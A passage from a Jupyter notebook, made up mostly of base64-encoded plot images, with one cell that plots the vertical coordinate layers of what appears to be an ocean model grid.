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", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "control_grid.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "code", "execution_count": 38, "id": "0f1248c1-890b-41eb-b035-0ad513566cda", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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